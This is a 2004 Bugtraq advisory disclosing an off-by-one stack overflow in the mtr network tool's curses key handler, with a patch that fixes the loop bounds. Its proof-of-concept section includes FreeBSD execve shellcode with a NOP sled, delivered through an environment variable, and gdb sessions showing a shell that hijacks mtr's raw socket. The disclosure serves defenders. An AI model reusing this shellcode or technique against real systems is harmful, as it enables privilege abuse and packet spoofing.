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Message-ID: <20041211170435.6729.qmail@lagoon.freebsd.lublin.pl>
Date: 11 Dec 2004 17:04:35 -0000
From: venglin@...ebsd.lublin.pl
To: bugtraq@...urityfocus.com, pawmal@...ebsd.lublin.pl,
	venglin@...ebsd.lublin.pl
Subject: Local off-by-one in mtr versions 0.55 to 0.65


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Local off-by-one in mtr versions 0.55 to 0.65
- ----------------------------------------------
Przemys³aw Frasunek <venglin@...ebsd.lublin.pl> / 11th December 2004

1. Background

mtr combines the functionality of the 'traceroute' and 'ping' programs
in a single network diagnostic tool.

As mtr starts, it investigates the network connection between the host mtr
runs on and a user-specified destination host. After it determines the
address of each network hop between the machines, it sends a sequence
ICMP ECHO requests to each one to determine the quality of the link to each
machine. As it does this, it prints running statistics about each machine.

2. Vulnerability

In version 0.55 the following portions of code were introduced
in mtr_curses_keyaction() to handle the 's' keybinding:

#define MAXFLD 20
[...]
char buf[MAXFLD];
[...]
if (tolower(c) == 's') {
[...]
   while ( (c=getch ()) != '\n' && i<MAXFLD ) {
     attron(A_BOLD); printw("%c", c); attroff(A_BOLD); refresh;
     buf[i++] = c;   /* need more checking on 'c' */
   }
   buf[i] = '\0';
[...]
}

as well as similar code for 'b', 'Q', 'i', 'f', 'm' and 'o' keybindings.

The (i < MAXFLD) condition doesn't leave room in buf[] for NULL termination,
making possible to overwrite LSB of saved %ebp register.

3. Impact

mtr is setuid root on most Linux distrubutions, but it drops elevated
privileges just after opening raw socket. Therefore, exploitation of any
bug in mtr allows only to hijack raw socket, which can be used to spoof
ICMP packets.

This bug is NOT exploitable if mtr is compiled with gcc 3.x, which aligns
buffers on stack in slightly different way.

4. Proof of concept

> uname -smr
FreeBSD 4.10-STABLE i386
> unsetenv *
> setenv DUPA `perl -e 'print "\x90"x780 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53\xb0\x3b\x50\xcd\x80"'`
> gdb ./mtr
GNU gdb 4.18 (FreeBSD) Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...Deprecated bfd_read called at /usr/src/gnu/usr.bin/binutils/gdb/../../../../contrib/gdb/gdb/dbxread.c line 2627 in elfstab_build_psymtabs
Deprecated bfd_read called at /usr/src/gnu/usr.bin/binutils/gdb/../../../../contrib/gdb/gdb/dbxread.c line 933 in fill_symbuf

(gdb) b mtr_curses_keyaction
Breakpoint 1 at 0x80494d4: file curses.c, line 91.
(gdb) r
Starting program: /usr/ports/net/mtr/work/mtr-0.65/./mtr
[...]
Breakpoint 1, mtr_curses_keyaction () at curses.c:91
91        int c = getch();
(gdb) info frame
Stack level 0, frame at 0xbfbff910:
 eip = 0x80494d4 in mtr_curses_keyaction (curses.c:91); saved eip 0x804e6fd
 called by frame at 0xbfbff920
 source language c.
 Arglist at 0xbfbff910, args:
 Locals at 0xbfbff910, Previous frame's sp is 0x0
 Saved registers:
  ebx at 0xbfbff8d8, ebp at 0xbfbff910, edi at 0xbfbff8dc, eip at 0xbfbff914
(gdb) x/x &buf[20]
0xbfbff910:     0xbfbff920
(gdb) watch *0xbfbff910
Hardware watchpoint 2: *3217029392
(gdb) cont
Continuing.
Max TTL: 30                       12333333333333333333
Hardware watchpoint 2: *3217029392

Old value = -1077937888
New value = -1077937920
mtr_curses_keyaction () at curses.c:209
209         i = atoi( buf );
(gdb) bt
#0  mtr_curses_keyaction () at curses.c:209
#1  0x804e6fd in display_keyaction () at display.c:147
#2  0x33333333 in ?? ()
Error accessing memory address 0x33333333: Bad address.
(gdb) quit
> gdb ./mtr
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...Deprecated bfd_read called at /usr/src/gnu/usr.bin/binutils/gdb/../../../../contrib/gdb/gdb/dbxread.c line 2627 in elfstab_build_psymtabs
Deprecated bfd_read called at /usr/src/gnu/usr.bin/binutils/gdb/../../../../contrib/gdb/gdb/dbxread.c line 933 in fill_symbuf

(gdb) r
Max TTL: 30                       `û¿¿`û¿¿`û¿¿`û¿¿`û¿¿
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x80480b8 in ?? ()Error accessing memory address 0x48068bf4: Bad address.
(gdb)
(gdb) cont
Continuing.
>
> fstat | grep 41484 | grep raw
venglin     sh         41484    3* internet raw 255 f616fc80
venglin     sh         41484    4* internet raw icmp f616fd40

5. Credits

Crash in mtr keybindins handler was found by Pawe³ Ma³achowski
<pawmal@...ebsd.lublin.pl>

6. Patch

- --- mtr-0.65/curses.c.old       Sat Dec 11 18:00:37 2004
+++ mtr-0.65/curses.c   Sat Dec 11 18:01:18 2004
@@ -119,7 +119,7 @@
     mvprintw(3, 0, "Size Range: %d-%d, <0 random.\n", MINPACKET, MAXPACKET);
     move(2,20);
     refresh();
- -    while ( (c=getch ()) != '\n' && i<MAXFLD ) {
+    while ( (c=getch ()) != '\n' && i<MAXFLD-1 ) {
       attron(A_BOLD); printw("%c", c); attroff(A_BOLD); refresh ();
       buf[i++] = c;   /* need more checking on 'c' */
     }
@@ -140,7 +140,7 @@
     mvprintw(3, 0, "Pattern Range: 0(0x00)-255(0xff), <0 random.\n");
     move(2,18);
     refresh();
- -    while ( (c=getch ()) != '\n' && i<MAXFLD ) {
+    while ( (c=getch ()) != '\n' && i<MAXFLD-1 ) {
       attron(A_BOLD); printw("%c", c); attroff(A_BOLD); refresh ();
       buf[i++] = c;   /* need more checking on 'c' */
     }
@@ -154,7 +154,7 @@
     mvprintw(3, 0, "default 0x00, min cost 0x02, rel 0x04,, thr 0x08, low del 0x10...\n");
     move(2,22);
     refresh();
- -    while ( (c=getch ()) != '\n' && i<MAXFLD ) {
+    while ( (c=getch ()) != '\n' && i<MAXFLD-1 ) {
       attron(A_BOLD); printw("%c", c); attroff(A_BOLD); refresh();
       buf[i++] = c;   /* need more checking on 'c' */
     }
@@ -169,7 +169,7 @@
     mvprintw(2, 0, "Interval : %0.0f\n\n", WaitTime );
     move(2,11);
     refresh();
- -    while ( (c=getch ()) != '\n' && i<MAXFLD ) {
+    while ( (c=getch ()) != '\n' && i<MAXFLD-1 ) {
       attron(A_BOLD); printw("%c", c); attroff(A_BOLD); refresh();
       buf[i++] = c;   /* need more checking on 'c' */
     }
@@ -185,7 +185,7 @@
     mvprintw(2, 0, "First TTL: %d\n\n", fstTTL );
     move(2,11);
     refresh();
- -    while ( (c=getch ()) != '\n' && i<MAXFLD ) {
+    while ( (c=getch ()) != '\n' && i<MAXFLD-1 ) {
       attron(A_BOLD); printw("%c", c); attroff(A_BOLD); refresh();
       buf[i++] = c;   /* need more checking on 'c' */
     }
@@ -201,7 +201,7 @@
     mvprintw(2, 0, "Max TTL: %d\n\n", maxTTL );
     move(2,9);
     refresh();
- -    while ( (c=getch ()) != '\n' && i<MAXFLD ) {
+    while ( (c=getch ()) != '\n' && i<MAXFLD-1 ) {
       attron(A_BOLD); printw("%c", c); attroff(A_BOLD); refresh();
       buf[i++] = c;   /* need more checking on 'c' */
     }
@@ -226,7 +226,7 @@
     refresh();

     i = 0;
- -    while ( (c=getch ()) != '\n' && i < MAXFLD ) {
+    while ( (c=getch ()) != '\n' && i < MAXFLD-1 ) {
       if( strchr(available_options, c) ) {
         attron(A_BOLD); printw("%c", c); attroff(A_BOLD); refresh();
         buf[i++] = c; /* Only permit values in "available_options" be entered */

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